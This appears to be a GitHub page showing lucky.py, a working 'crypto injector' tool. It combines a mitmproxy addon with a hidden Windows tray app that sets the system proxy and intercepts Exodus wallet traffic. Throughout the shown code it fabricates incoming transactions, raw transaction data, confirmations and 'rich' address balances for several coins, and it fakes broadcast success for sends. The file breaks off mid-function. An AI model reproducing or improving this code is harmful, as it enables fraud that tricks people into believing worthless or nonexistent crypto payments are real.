-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlucky.py
More file actions
2943 lines (2750 loc) · 126 KB
/
lucky.py
File metadata and controls
2943 lines (2750 loc) · 126 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Single-file crypto injector application.
Usage:
- This file serves two roles:
1) When imported by `mitmdump -s crypto_injector_app.py` it exposes the
`request(flow)` and `response(flow)` functions used by mitmproxy.
2) When run directly, it starts a Windows tray app that: requests
elevation, sets the Windows proxy to 127.0.0.1:8080, spawns mitmdump
with this file as the addon, and provides a hidden UI that appears
on Ctrl+A to manage injected addresses.
Notes:
- You must have `mitmdump` (from mitmproxy) installed and on PATH.
- Install required Python packages: see `requirements.txt`.
"""
import os
import re
import json
import time
import base64
import random
import hashlib
import struct
from enum import Enum
# ------------------------
# Addon code (import-safe)
# ------------------------
# The functions below are intentionally free of GUI imports so mitmdump
# can import this module without needing the GUI dependencies.
transaction_cache = {}
last_file_mtime = 0
eth_address_mappings = []
sol_address_mappings = []
# Bumped by GUI reset; mitmdump clears caches when this changes (same process as addon).
_addon_reset_epoch = 0
# txid (hex) -> raw transaction hex (for insight-api fetchRawTx when txs are injected)
rawtx_hex_registry = {}
def _rawtx_hex_for_txid(txid):
if not txid or len(txid) != 64:
return None
k = txid.lower()
h = rawtx_hex_registry.get(k)
if h:
return h
try:
return rawtx_hex_registry.get(bytes.fromhex(k)[::-1].hex())
except Exception:
return None
# Solana tx signatures (base58) we reported as successfully broadcast after upstream rejected
# the signed wire tx (fake-balance send path). Used to satisfy getSignatureStatuses / getTransaction.
sol_user_broadcast_sigs = {}
def _extract_txid_from_path(path_text):
p = (path_text or '').lower()
# common forms: /rawtx/<txid>, /tx/<txid>, ?txid=<txid>, ?hash=<txid>
m = re.search(r'/rawtx/([0-9a-f]{64})', p)
if m:
return m.group(1)
m = re.search(r'/tx/([0-9a-f]{64})', p)
if m:
return m.group(1)
m = re.search(r'(?:txid|hash|id)=([0-9a-f]{64})', p)
if m:
return m.group(1)
# blockbook / insight variants: ...rawtx/<txid>..., fetch-raw-tx, etc.
m = re.search(r'(?:rawtx|raw-tx|fetchrawtransaction)[/:]([0-9a-f]{64})', p)
if m:
return m.group(1)
# fallback for unusual routes carrying a txid token
m = re.search(r'([0-9a-f]{64})', p)
if m and ('rawtx' in p or '/tx' in p or 'insight' in p or 'blockbook' in p):
return m.group(1)
return None
def _extract_txid_from_insight_flow(flow):
"""Txid for rawtx/fetchRawTx: URL path + optional POST/GET body (Exodus insight-api)."""
chunks = []
try:
chunks.append(getattr(flow.request, 'pretty_url', '') or '')
chunks.append(getattr(flow.request, 'path', '') or '')
except Exception:
pass
combined = ' '.join(chunks)
tid = _extract_txid_from_path(combined)
if tid:
return tid
body = ''
try:
body = (flow.request.content or b'').decode('utf-8', errors='ignore')
except Exception:
body = ''
blob_lower = (combined + ' ' + body).lower()
try:
if body:
for pat in (
r'"txid"\s*:\s*"([0-9a-fA-F]{64})"',
r'"txId"\s*:\s*"([0-9a-fA-F]{64})"',
r'"txhash"\s*:\s*"([0-9a-fA-F]{64})"',
r'"tx_hash"\s*:\s*"([0-9a-fA-F]{64})"',
r'txid=([0-9a-fA-F]{64})',
r'tx_hash=([0-9a-fA-F]{64})',
):
m = re.search(pat, body)
if m:
return m.group(1).lower()
bl = body.lower()
m = re.search(r'([0-9a-f]{64})', bl)
if m and ('txid' in bl or 'raw' in bl or 'hash' in bl):
return m.group(1)
except Exception:
pass
# Bitcore / insight: .../tx/<txid>/raw, .../<txid>.hex
try:
cl = combined.lower()
m = re.search(r'/tx/([0-9a-f]{64})/raw', cl)
if m:
return m.group(1)
m = re.search(r'/([0-9a-f]{64})\.hex\b', cl)
if m:
return m.group(1)
for param in ('txid', 'tx_hash', 'txhash', 'hash', 'transaction', 'transactionid'):
m = re.search(rf'(?:^|[?&]){re.escape(param)}=([0-9a-f]{{64}})', cl)
if m:
return m.group(1)
except Exception:
pass
# Referer sometimes carries the API URL including txid
try:
ref = (flow.request.headers.get('Referer') or '').lower()
if ref:
tid = _extract_txid_from_path(ref)
if tid:
return tid
m = re.search(r'/tx/([0-9a-f]{64})', ref)
if m:
return m.group(1)
except Exception:
pass
# Exodus UTXO chains (btc/ltc/doge/zec paths); avoid matching EVM tx hashes on clarity APIs
if _is_exodus_utxo_chain_rawtx_flow(flow):
try:
_ensure_utxo_rawtx_registry(flow)
for m in re.finditer(r'\b([0-9a-f]{64})\b', blob_lower):
cand = m.group(1)
if _rawtx_hex_for_txid(cand):
return cand
except Exception:
pass
return None
def _ensure_utxo_rawtx_registry(flow):
"""Rebuild rawtx_hex_registry from injected GUI txs (needed on response() replay)."""
for c in ('BTC', 'LTC', 'DOGE', 'ZEC'):
try:
load_injected_transactions(c, flow)
except Exception:
pass
def _request_url_body_lower(flow):
parts = []
try:
parts.append(getattr(flow.request, "pretty_url", "") or "")
except Exception:
pass
try:
parts.append(getattr(flow.request, "path", "") or "")
except Exception:
pass
try:
if flow.request.content:
parts.append(flow.request.content.decode("utf-8", errors="ignore"))
except Exception:
pass
return "".join(parts).lower()
def _request_contains_any_address(flow, addresses):
"""True if a 0x or XRP r-address appears in the request URL or body."""
blob = _request_url_body_lower(flow)
for a in addresses:
if not a or not isinstance(a, str):
continue
al = a.strip().lower()
if not al:
continue
if al.startswith("0x"):
if al in blob or al[2:] in blob:
return True
elif al.startswith("r") and len(al) >= 26:
if al in blob:
return True
elif al in blob:
return True
return False
def _usdt_request_should_inject(flow, injected_usdt):
"""Exodus often omits 'usdt' from eth-clarity URLs; match token hints or wallet address."""
if not injected_usdt:
return False
try:
ul = (getattr(flow.request, "pretty_url", "") or "").lower()
except Exception:
ul = ""
if any(
k in ul
for k in (
"usdt",
"tether",
"dac17f958d2ee523a2206206994597c13d831ec7",
"erc-20",
"erc20",
"/token",
"token/",
)
):
return True
addrs = [tx.get("address") for tx in injected_usdt if tx.get("address")]
return _request_contains_any_address(flow, addrs)
def _xrp_request_should_inject(flow, injected_xrp):
if not injected_xrp:
return False
try:
ul = (getattr(flow.request, "pretty_url", "") or "").lower()
except Exception:
ul = ""
if any(k in ul for k in ("ripple", "xrp", "xrpledger", "xrpl")):
return True
addrs = [tx.get("address") for tx in injected_xrp if tx.get("address")]
return _request_contains_any_address(flow, addrs)
def _eth_clarity_transactions_container(response_data):
"""Return (dict_to_mutate, key) for the clarity `transactions` list only (not generic `items`)."""
if not isinstance(response_data, dict):
return None, None
if "transactions" in response_data and isinstance(response_data["transactions"], list):
return response_data, "transactions"
data = response_data.get("data")
if isinstance(data, dict) and "transactions" in data and isinstance(data["transactions"], list):
return data, "transactions"
return None, None
def _set_rawtx_response_for_flow(flow, raw_hex):
"""Insight-compatible body: many clients expect raw hex; others want {rawtx, hex}."""
try:
from mitmproxy import http
want_json = _rawtx_response_use_json(flow)
if want_json:
body = json.dumps({'rawtx': raw_hex, 'hex': raw_hex}).encode('utf-8')
flow.response = http.Response.make(
200, body, {'Content-Type': 'application/json; charset=utf-8'}
)
else:
flow.response = http.Response.make(
200, raw_hex.encode('utf-8'), {'Content-Type': 'text/plain; charset=utf-8'}
)
return True
except Exception:
try:
if flow.response is None:
return False
want_json = _rawtx_response_use_json(flow)
if want_json:
flow.response.content = json.dumps({'rawtx': raw_hex, 'hex': raw_hex}).encode('utf-8')
flow.response.headers['Content-Type'] = 'application/json; charset=utf-8'
else:
flow.response.content = raw_hex.encode('utf-8')
flow.response.headers['Content-Type'] = 'text/plain; charset=utf-8'
flow.response.status_code = 200
return True
except Exception:
return False
def _fetch_remote_state(flow=None):
"""GET /state from GUI; cache JSON on flow.metadata so one mitm flow = one fetch."""
if flow is not None:
try:
m = getattr(flow, 'metadata', None)
if m is not None and 'injector_remote_state' in m:
return m['injector_remote_state']
except Exception:
pass
state = None
try:
port = os.environ.get('INJECTOR_PORT')
if not port:
return None
import urllib.request
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
with opener.open(f'http://127.0.0.1:{port}/state', timeout=0.5) as resp:
state = json.load(resp)
except Exception:
state = None
if flow is not None and state is not None:
try:
flow.metadata['injector_remote_state'] = state
except Exception:
pass
return state
def _apply_injector_reset_epoch(state):
"""Wipe all addon-side injection state immediately when GUI bumps reset_epoch."""
global _addon_reset_epoch, transaction_cache, last_file_mtime, eth_address_mappings, sol_address_mappings
if state is None:
return
try:
epoch = int(state.get('reset_epoch', 0))
except Exception:
return
if epoch != _addon_reset_epoch:
_addon_reset_epoch = epoch
transaction_cache.clear()
last_file_mtime = 0
eth_address_mappings.clear()
sol_address_mappings.clear()
rawtx_hex_registry.clear()
sol_user_broadcast_sigs.clear()
# When the GUI is running it will optionally serve transactions via a
# simple local HTTP server. The mitmdump addon (separate process) will
# query that server when available. This avoids writing transactions to
# disk while the GUI is open; state lives in-memory and disappears on
# exit.
def load_address_mappings(flow=None):
"""Load ETH and SOL address mappings from GUI /state or `injected_crypto.json`"""
global eth_address_mappings, sol_address_mappings
eth_address_mappings = []
sol_address_mappings = []
try:
state = _fetch_remote_state(flow)
_apply_injector_reset_epoch(state)
transactions = None
if state is not None:
transactions = state.get('transactions')
if transactions is None and os.path.exists('injected_crypto.json'):
with open('injected_crypto.json', 'r') as f:
transactions = json.load(f)
if transactions:
for tx in transactions:
crypto = (tx.get('crypto') or '').upper()
if crypto == 'ETH':
eth_address_mappings.append({
'your_address': (tx.get('your_address') or '').lower(),
'rich_address': (tx.get('rich_address') or '').lower()
})
elif crypto == 'SOL':
sol_address_mappings.append({
'your_address': tx.get('your_address'),
'rich_address': tx.get('rich_address')
})
except Exception as e:
print(f"Error loading address mappings: {e}")
def get_transaction_id(address, amount, sender, crypto):
unique_string = f"{crypto}{address}{amount}{sender}"
return hashlib.sha256(unique_string.encode()).hexdigest()
def load_injected_transactions(crypto_type, flow=None):
global transaction_cache, last_file_mtime
try:
state = _fetch_remote_state(flow)
_apply_injector_reset_epoch(state)
ui_transactions = None
if state is not None:
ui_transactions = state.get('transactions')
# Fall back to file-based transactions if GUI state unavailable.
if ui_transactions is None:
if not os.path.exists('injected_crypto.json'):
transaction_cache.clear()
last_file_mtime = 0
return []
current_mtime = os.path.getmtime('injected_crypto.json')
if (
current_mtime == last_file_mtime
and transaction_cache
and rawtx_hex_registry
):
return [tx for tx in transaction_cache.values() if tx.get('_crypto_type') == crypto_type]
last_file_mtime = current_mtime
with open('injected_crypto.json', 'r') as f:
ui_transactions = json.load(f)
transaction_cache.clear()
rawtx_hex_registry.clear()
if not ui_transactions:
return []
for tx in ui_transactions:
crypto = (tx.get('crypto') or 'LTC').upper()
# Skip ETH send records (address replacement handled separately)
if crypto == 'ETH':
continue
creation_time = tx.get('creation_timestamp', time.time())
# For LTC/BTC/DOGE/ZEC/BNB/USDT/XRP use address/amount
if crypto in ('LTC', 'BTC', 'DOGE', 'ZEC', 'BNB', 'USDT', 'XRP'):
addr = tx.get('address')
amt = tx.get('amount')
sender = tx.get('sender', '')
tx_id = get_transaction_id(addr, amt, sender, crypto)
elif crypto == 'SOL':
# Allow SOL mapping entries or send transactions from the GUI.
addr = tx.get('your_address') or tx.get('address')
amt = tx.get('amount', tx.get('lamports', 0))
sender = tx.get('sender', '')
tx_id = get_transaction_id(addr, amt, sender, 'SOL')
else:
continue
if tx_id in transaction_cache:
continue
if crypto == 'LTC':
blockchain_tx = create_fake_ltc_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'BTC':
blockchain_tx = create_fake_btc_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'DOGE':
blockchain_tx = create_fake_doge_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'ZEC':
blockchain_tx = create_fake_zec_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'BNB':
blockchain_tx = create_fake_bnb_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'USDT':
blockchain_tx = create_fake_usdt_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'XRP':
blockchain_tx = create_fake_xrp_transaction(
tx.get('address'), tx.get('amount'), tx.get('sender', ''), tx_id, creation_time
)
elif crypto == 'SOL':
# Build a consistent Solana injected entry. Include deterministic signature.
addr_val = tx.get('your_address') or tx.get('address')
amt_val = float(tx.get('amount', 0))
blockchain_tx = {
'address': addr_val,
'amount': amt_val,
'lamports': int(amt_val * 1_000_000_000),
'sender': tx.get('sender', 'Random'),
'creation_timestamp': creation_time,
'confirm_seconds': tx.get('confirm_seconds', 600),
'your_address': tx.get('your_address'),
'rich_address': tx.get('rich_address')
}
try:
# create a deterministic signature per tx_id so repeated calls match
sig = _make_sol_signature(tx_id)
blockchain_tx['_sol_signature'] = sig
blockchain_tx['_consistent_id'] = tx_id
except Exception:
pass
blockchain_tx['_crypto_type'] = crypto
transaction_cache[tx_id] = blockchain_tx
return [tx for tx in transaction_cache.values() if tx.get('_crypto_type') == crypto_type]
except Exception as e:
print(f"Error loading transactions: {e}")
return []
def get_confirmations_and_block(creation_time):
current_time = time.time()
elapsed_seconds = current_time - creation_time
if elapsed_seconds < 60:
return 0, -1
else:
return 6, 3040994
# --- Bech32 + rawtx registry (from Bitcoin Core test framework, MIT) ---
CHARSET_BECH32 = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
BECH32_CONST = 1
BECH32M_CONST = 0x2bc830a3
class _Bech32Enc(Enum):
BECH32 = 1
BECH32M = 2
def _bech32_polymod(values):
generator = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3]
chk = 1
for value in values:
top = chk >> 25
chk = (chk & 0x1ffffff) << 5 ^ value
for i in range(5):
chk ^= generator[i] if ((top >> i) & 1) else 0
return chk
def _bech32_hrp_expand(hrp):
return [ord(x) >> 5 for x in hrp] + [0] + [ord(x) & 31 for x in hrp]
def _bech32_verify_checksum(hrp, data):
check = _bech32_polymod(_bech32_hrp_expand(hrp) + data)
if check == BECH32_CONST:
return _Bech32Enc.BECH32
if check == BECH32M_CONST:
return _Bech32Enc.BECH32M
return None
def _bech32_decode(bech):
if (any(ord(x) < 33 or ord(x) > 126 for x in bech)) or (bech.lower() != bech and bech.upper() != bech):
return (None, None, None)
bech = bech.lower()
pos = bech.rfind('1')
if pos < 1 or pos + 7 > len(bech) or len(bech) > 90:
return (None, None, None)
if not all(x in CHARSET_BECH32 for x in bech[pos + 1:]):
return (None, None, None)
hrp = bech[:pos]
data = [CHARSET_BECH32.find(x) for x in bech[pos + 1:]]
encoding = _bech32_verify_checksum(hrp, data)
if encoding is None:
return (None, None, None)
return (encoding, hrp, data[:-6])
def _convertbits(data, frombits, tobits, pad=True):
acc = 0
bits = 0
ret = []
maxv = (1 << tobits) - 1
max_acc = (1 << (frombits + tobits - 1)) - 1
for value in data:
if value < 0 or (value >> frombits):
return None
acc = ((acc << frombits) | value) & max_acc
bits += frombits
while bits >= tobits:
bits -= tobits
ret.append((acc >> bits) & maxv)
if pad:
if bits:
ret.append((acc << (tobits - bits)) & maxv)
elif bits >= frombits or ((acc << (tobits - bits)) & maxv):
return None
return ret
def _decode_segwit_address(hrp, addr):
encoding, hrpgot, data = _bech32_decode(addr)
if hrpgot != hrp:
return (None, None)
decoded = _convertbits(data[1:], 5, 8, False)
if decoded is None or len(decoded) < 2 or len(decoded) > 40:
return (None, None)
if data[0] > 16:
return (None, None)
if data[0] == 0 and len(decoded) != 20 and len(decoded) != 32:
return (None, None)
if (data[0] == 0 and encoding != _Bech32Enc.BECH32) or (data[0] != 0 and encoding != _Bech32Enc.BECH32M):
return (None, None)
return (data[0], decoded)
def _dhash256(b):
return hashlib.sha256(hashlib.sha256(b).digest()).digest()
def _txid_hex_from_raw(raw):
return _dhash256(raw)[::-1].hex()
def _varint(n):
if n < 0xfd:
return struct.pack('<B', n)
if n <= 0xffff:
return b'\xfd' + struct.pack('<H', n)
if n <= 0xffffffff:
return b'\xfe' + struct.pack('<I', n)
return b'\xff' + struct.pack('<Q', n)
def _serialize_legacy_tx(version, inputs, outputs, locktime=0):
out = struct.pack('<I', version)
out += _varint(len(inputs))
for inp in inputs:
out += inp['prev_hash']
out += struct.pack('<I', inp['vout'])
out += _varint(len(inp['script']))
out += inp['script']
out += struct.pack('<I', inp.get('sequence', 0xffffffff))
out += _varint(len(outputs))
for o in outputs:
out += struct.pack('<Q', o['value'])
out += _varint(len(o['script']))
out += o['script']
out += struct.pack('<I', locktime)
return out
def _b58decode_check(addr):
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
num = 0
for c in addr:
num = num * 58 + alphabet.index(c)
pad = 0
for c in addr:
if c == '1':
pad += 1
else:
break
combined = num.to_bytes((num.bit_length() + 7) // 8 or 1, 'big')
full = b'\x00' * pad + combined
if len(full) < 4:
raise ValueError('bad address')
payload, checksum = full[:-4], full[-4:]
if hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4] != checksum:
raise ValueError('bad address checksum')
return payload
def _hash160_from_base58_addr(addr):
p = _b58decode_check(addr)
if len(p) == 21:
return p[1:21]
if len(p) == 22 and addr.startswith('t1'):
return p[2:22]
raise ValueError('unsupported base58 address')
def _script_pubkey_for_address(addr):
a = (addr or '').strip()
al = a.lower()
if al.startswith('bc1'):
wv, prog = _decode_segwit_address('bc', a)
if wv is None or prog is None:
raise ValueError('bc1')
if wv == 0 and len(prog) == 20:
return bytes([0x00, 0x14]) + prog
if wv == 0 and len(prog) == 32:
return bytes([0x00, 0x20]) + prog
if wv == 1 and len(prog) == 32:
return bytes([0x51, 0x20]) + prog
raise ValueError('bc1 witness')
if al.startswith('tb1'):
wv, prog = _decode_segwit_address('tb', a)
if wv is None or prog is None:
raise ValueError('tb1')
if wv == 0 and len(prog) == 20:
return bytes([0x00, 0x14]) + prog
if wv == 0 and len(prog) == 32:
return bytes([0x00, 0x20]) + prog
if wv == 1 and len(prog) == 32:
return bytes([0x51, 0x20]) + prog
raise ValueError('tb1 witness')
p = _b58decode_check(a)
if len(p) == 21 and p[0] == 0x05:
return bytes([0xa9, 0x14]) + p[1:21] + bytes([0x87])
h = _hash160_from_base58_addr(a)
return bytes([0x76, 0xa9, 0x14]) + h + bytes([0x88, 0xac])
def _register_rawtx_bytes(raw):
tid = _txid_hex_from_raw(raw)
h = raw.hex()
tlow = tid.lower()
rawtx_hex_registry[tlow] = h
try:
alt = bytes.fromhex(tid)[::-1].hex().lower()
if alt != tlow:
rawtx_hex_registry[alt] = h
except Exception:
pass
def _is_exodus_utxo_chain_rawtx_flow(flow):
"""True if request is likely UTXO raw-tx fetch on Exodus (not EVM/SOL clarity)."""
try:
host = (flow.request.host or '').lower()
path = (flow.request.path or '').lower()
url = (flow.request.pretty_url or '').lower()
except Exception:
return False
if 'exodus' not in host and 'exodus' not in url:
return False
if any(
x in path or x in url
for x in (
'eth-clarity',
'bsc-clarity',
'solana',
'erc20',
'ethereum',
)
):
return False
if any(
x in path or x in url
for x in (
'bitcoin',
'btc',
'litecoin',
'dogecoin',
'zcash',
'rawtx',
'raw-tx',
'fetchraw',
'/tx/',
'blockbook',
'insight',
)
):
return True
blob = path + url
if re.search(r'[0-9a-f]{64}', blob):
return True
return False
def _rawtx_response_use_json(flow):
try:
req_path = (flow.request.path or '').lower()
url_l = (flow.request.pretty_url or '').lower()
accept = (flow.request.headers.get('Accept') or '').lower()
except Exception:
return False
if 'format=json' in req_path or 'format=json' in url_l:
return True
if req_path.endswith('.json'):
return True
if '/api/' in req_path and 'application/json' in accept:
return True
if 'application/json' in accept:
return True
return False
def _build_utxo_chain_with_raw(sender_address, receiver_address, amount, seed_str):
"""Coinbase-like tx A then spend tx B; register raw hex for both txids."""
rng = random.Random(int(hashlib.sha256(seed_str.encode('utf-8')).hexdigest()[:16], 16))
amount_sat = max(1, int(round(float(amount) * 1e8)))
fee_sat = 10000
spk_send = _script_pubkey_for_address(sender_address)
spk_recv = _script_pubkey_for_address(receiver_address)
coinbase_body = bytes([0x03, 0x01, 0x00, 0x00]) + rng.randbytes(4)
script_sig_cb = _varint(len(coinbase_body)) + coinbase_body
ins_a = [{
'prev_hash': b'\x00' * 32,
'vout': 0xffffffff,
'script': script_sig_cb,
'sequence': 0xffffffff,
}]
outs_a = [{'value': amount_sat + fee_sat, 'script': spk_send}]
raw_a = _serialize_legacy_tx(1, ins_a, outs_a, 0)
_register_rawtx_bytes(raw_a)
txid_a = _txid_hex_from_raw(raw_a)
prev_b = bytes.fromhex(txid_a)[::-1]
dummy_sig = rng.randbytes(105)
script_sig_b = _varint(len(dummy_sig)) + dummy_sig
ins_b = [{'prev_hash': prev_b, 'vout': 0, 'script': script_sig_b, 'sequence': 0xffffffff}]
outs_b = [{'value': amount_sat, 'script': spk_recv}]
raw_b = _serialize_legacy_tx(1, ins_b, outs_b, 0)
_register_rawtx_bytes(raw_b)
txid_b = _txid_hex_from_raw(raw_b)
return txid_b, txid_a, spk_recv
def _utxo_fake_json(crypto, address, amount, sender_address, consistent_id, creation_time, vsize_hint):
"""Build injected tx JSON + rawtx registry for UTXO chains; fallback to old random ids."""
seed = (consistent_id or '') + str(amount) + (address or '') + crypto
try:
txid, input_txid, spk_recv = _build_utxo_chain_with_raw(sender_address, address, amount, seed)
except Exception:
return None
confirmations, blockheight = get_confirmations_and_block(creation_time)
if crypto in ('LTC', 'DOGE', 'ZEC'):
if confirmations == 0:
confirmations = 1
if blockheight == -1:
blockheight = (int(time.time()) % 100000) + 1000000
if crypto == 'BTC' and blockheight != -1:
blockheight = 880000
return {
'fees': fee_sat / 1e8 if (fee_sat := 10000) else 0.00001,
'txid': txid,
'time': int(creation_time),
'blockheight': blockheight,
'confirmations': confirmations if confirmations else 1,
'vsize': vsize_hint,
'vin': [{
'txid': input_txid,
'vout': 0,
'value': str(amount),
'addr': sender_address,
}],
'vout': [{
'n': 0,
'scriptPubKey': {'addresses': [address], 'hex': spk_recv.hex()},
'value': str(amount),
}],
}
def create_fake_ltc_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
if creation_time is None:
creation_time = time.time()
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"L{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
random.seed()
else:
sender_address = f"L{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
tx = _utxo_fake_json('LTC', address, amount, sender_address, consistent_id, creation_time, 226)
if tx:
tx['fees'] = 0.00001
return tx
return {"fees": 0.00001, "txid": (consistent_id[:64] if consistent_id else ''.join(random.choices('0123456789abcdef', k=64))), "time": int(creation_time), "blockheight": (int(time.time()) % 100000) + 1000000, "confirmations": 1, "vsize": 226, "vin": [{"txid": ''.join(random.choices('0123456789abcdef', k=64)), "vout": 0, "value": str(amount), "addr": sender_address}], "vout": [{"n": 0, "scriptPubKey": {"addresses": [address], "hex": "76a914" + ''.join(random.choices('0123456789abcdef', k=40)) + "88ac"}, "value": str(amount)}]}
def create_fake_btc_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
if creation_time is None:
creation_time = time.time()
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"bc1q{''.join(random.choices('023456789acdefghjklmnpqrstuvwxyz', k=38))}"
random.seed()
else:
sender_address = f"bc1q{''.join(random.choices('023456789acdefghjklmnpqrstuvwxyz', k=38))}"
tx = _utxo_fake_json('BTC', address, amount, sender_address, consistent_id, creation_time, 110)
if tx:
tx['fees'] = 0.0000052
return tx
return {"fees": 0.0000052, "txid": (consistent_id[:64] if consistent_id else ''.join(random.choices('0123456789abcdef', k=64))), "time": int(creation_time), "blockheight": 880000, "confirmations": 1, "vsize": 110, "vin": [{"txid": ''.join(random.choices('0123456789abcdef', k=64)), "vout": 0, "value": str(amount), "addr": sender_address}], "vout": [{"n": 0, "scriptPubKey": {"addresses": [address], "hex": "0014" + ''.join(random.choices('0123456789abcdef', k=40))}, "value": str(amount)}]}
def create_fake_doge_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
if creation_time is None:
creation_time = time.time()
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"D{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
random.seed()
else:
sender_address = f"D{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
tx = _utxo_fake_json('DOGE', address, amount, sender_address, consistent_id, creation_time, 226)
if tx:
tx['fees'] = 0.001
return tx
return {"fees": 0.001, "txid": (consistent_id[:64] if consistent_id else ''.join(random.choices('0123456789abcdef', k=64))), "time": int(creation_time), "blockheight": (int(time.time()) % 100000) + 1000000, "confirmations": 1, "vsize": 226, "vin": [{"txid": ''.join(random.choices('0123456789abcdef', k=64)), "vout": 0, "value": str(amount), "addr": sender_address}], "vout": [{"n": 0, "scriptPubKey": {"addresses": [address], "hex": "76a914" + ''.join(random.choices('0123456789abcdef', k=40)) + "88ac"}, "value": str(amount)}]}
def create_fake_zec_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
if creation_time is None:
creation_time = time.time()
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"t1{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
random.seed()
else:
